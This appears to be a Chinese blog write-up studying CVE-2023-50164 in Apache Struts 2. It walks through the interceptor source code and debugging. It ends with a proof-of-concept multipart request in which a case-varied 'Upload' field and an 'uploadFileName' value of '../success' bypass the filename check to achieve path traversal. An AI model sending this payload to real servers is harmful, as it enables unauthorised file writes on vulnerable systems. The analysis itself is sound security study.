CVE-2023-50164 漏洞分析与学习

官方的主要修复有：

Makes HttpParameters case-insensitive

感觉有些点还没有细跟比如ognl的部分，还有这部分的细节。先把学习了大佬们的博文后自己调了一遍+捋思维的过程记录下来吧。

根据测试用例来看, 之前的问题是大小写不敏感，是 HttpParameters类对新参数的处理出现了问题。

这里的分析思路学习的是 trganda博客的思路：

测试用例 → 定位类下某个方法( appendAll) → appendAll方法调用处 → 从调用处的几个函数中寻找可利用点，即文件上传。

其中appendAll方法调用处有一处是涉及文件上传的，这部分对应的是 FileUploadInterceptor 下的intercept 方法

java

if (files != null && files.length > 0) {
                        List<UploadedFile> acceptedFiles = new ArrayList<>(files.length);
                        List<String> acceptedContentTypes = new ArrayList<>(files.length);
                        List<String> acceptedFileNames = new ArrayList<>(files.length);
                        String contentTypeName = inputName + "ContentType";
                        String fileNameName = inputName + "FileName";

for (int index = 0; index < files.length; index++) {
                            if (acceptFile(action, files[index], fileName[index], contentType[index], inputName, validation)) {
                                acceptedFiles.add(files[index]);
                                acceptedContentTypes.add(contentType[index]);
                                acceptedFileNames.add(fileName[index]);
                            }
                        }

                        if (!acceptedFiles.isEmpty()) {
                            Map<String, Parameter> newParams = new HashMap<>();
                            newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
                            newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
                            newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
                            ac.getParameters().appendAll(newParams);
                        }
                    }

这里我上传了一个文件 1.txt，上传的包如图

打断点进行代码分析FileUploadInterceptor#intercept，这里看到， inputName 字段赋值到了两个变量： contentTypeName 和 fileNameName 。然后这两个变量和 inputName 一同被put到了newParams (类型为Map<String, Parameter> 即 HashMap）

这里 ac.getParameters().appendAll(newParams); 则是被调用点，ac是一个 ActionInvocation

jsx

ActionContext ac = invocation.getInvocationContext();

这里，作为一枚java小白，恶补一下java知识之关于ActionInvocation的部分

在 Struts 2 框架中，ActionInvocation 是一个核心接口，它代表了一个动作的调用过程。其基本职责是控制动作（action）的执行流程。当一个动作被触发时，ActionInvocation 负责协调 Struts 2 框架各个部分的交互, 包括：执行拦截器（interceptors），调用动作方法，结果处理

现在这个FileUploadInterceptor 类就是一个Interceptors，来处理请求中的各类参数的喵

这里用户可控的 inputName （对应post传入的name="upload";）

其中， fileName 和 contentType files分别由FileUploadInterceptor#intercept 下列赋值语句获取

java

String[] fileName = multiWrapper.getFileNames(inputName);
String[] contentType = multiWrapper.getContentTypes(inputName);
UploadedFile[] files = multiWrapper.getFiles(inputName);

以下是涉及这几个变量的代码片段截图

其中 ``acceptFile` 是检查文件是否合法的（contentType和size两个方面，至于别的检查可以看参考/学习处的文章调试跟进，自己也调试着跟一下，排除了FileUploadInterceptor处的变量覆盖的可能性）这里

multiWrapper.getFileNames(inputName) 跟进是

java

MultiPartRequestWrapper#getFileNames
JakartaStreamMultiPartRequest#getFileNames
AbstractMultiPartRequest#getCanonicalName

这里限制了文件不能够目录遍历，即直接请求体构造filename是无效的(例如）：

java

Content-Disposition: form-data; name="upload"; filename="../1.txt"

回到FileUploadInterceptor 继续分析这里用了一个遍历将文件信息放到了都放置到了变量 acceptedFileNames下。然后跟进到 ac.getParameters().appendAll(newParams);

这里 getParameter返回的是一个HttpParameters 类型。这里也没有发现可覆盖点，

那么在action下的对应函数方法进行断点：

看调用栈，这里还能看到ognl

同时，IDEA调试知道 com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters 会调用到HttpParameters （这里ordered为false）

java

protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {
        HttpParameters params;
        Map<String, Parameter> acceptableParameters;
        if (ordered) {
            params = HttpParameters.create().withComparator(getOrderedComparator()).withParent(parameters).build();
            acceptableParameters = new TreeMap<>(getOrderedComparator());
        } else {
            params = HttpParameters.create().withParent(parameters).build();
            acceptableParameters = new TreeMap<>();
        }

		   ......
			addParametersToContext(ActionContext.getContext(), acceptableParameters);
    }
protected void addParametersToContext(ActionContext ac, Map<String, ?> newParams) {
    }

这里可以看到：

acceptableParameters.put(parameterName, entry.getValue()); 是将HashMap数据结构下的元素转到TreeMap元素下，HashMap是无序数据结构，而TreeMap是基于红黑树实现的有序数据结构。

为了验证实际请求中顺序产生了改变，这里发起一个构造的name大小写不一样的请求进行测试

测试的请求1:

请求内容：

java

------WebKitFormBoundarylklKBmAwQQCsk4Ex
Content-Disposition: form-data; name="Upload"; filename="fiel1.txt"
Content-Type: text/plain

test value

------WebKitFormBoundarylklKBmAwQQCsk4Ex
Content-Disposition: form-data; name="upload"; filename="file2.txt"
Content-Type: text/plain

file2name
------WebKitFormBoundarylklKBmAwQQCsk4Ex--

断点： com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters 可以看到TreeMap下是大写优先的

那么只要不要让传入的参数走FileUploadInterceptor，就可以摆脱文件上传目录的检查了。

另外加上通过改变 upload 的值为 uploadFilename 覆盖掉原本的（如图）文件上传目录，因为action的处理过程在FileUploadInterceptor之后。

测试poc, poc内容：

java

------WebKitFormBoundary3ks5NW13KTE8KAzk
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1111

------WebKitFormBoundary3ks5NW13KTE8KAzk
Content-Disposition: form-data; name="uploadFileName"; 
Content-Type: text/plain

../success
------WebKitFormBoundary3ks5NW13KTE8KAzk--

ParametersInterceptor 下断点查看，在 acceptableParameters 下大写在前

这里for循环下打断点也可以看到是在newStack.setParameter 这里设置了action的（还用到了ognl）

最后，在循环的最后，uploadFileName 被覆盖

Reference ​

Reference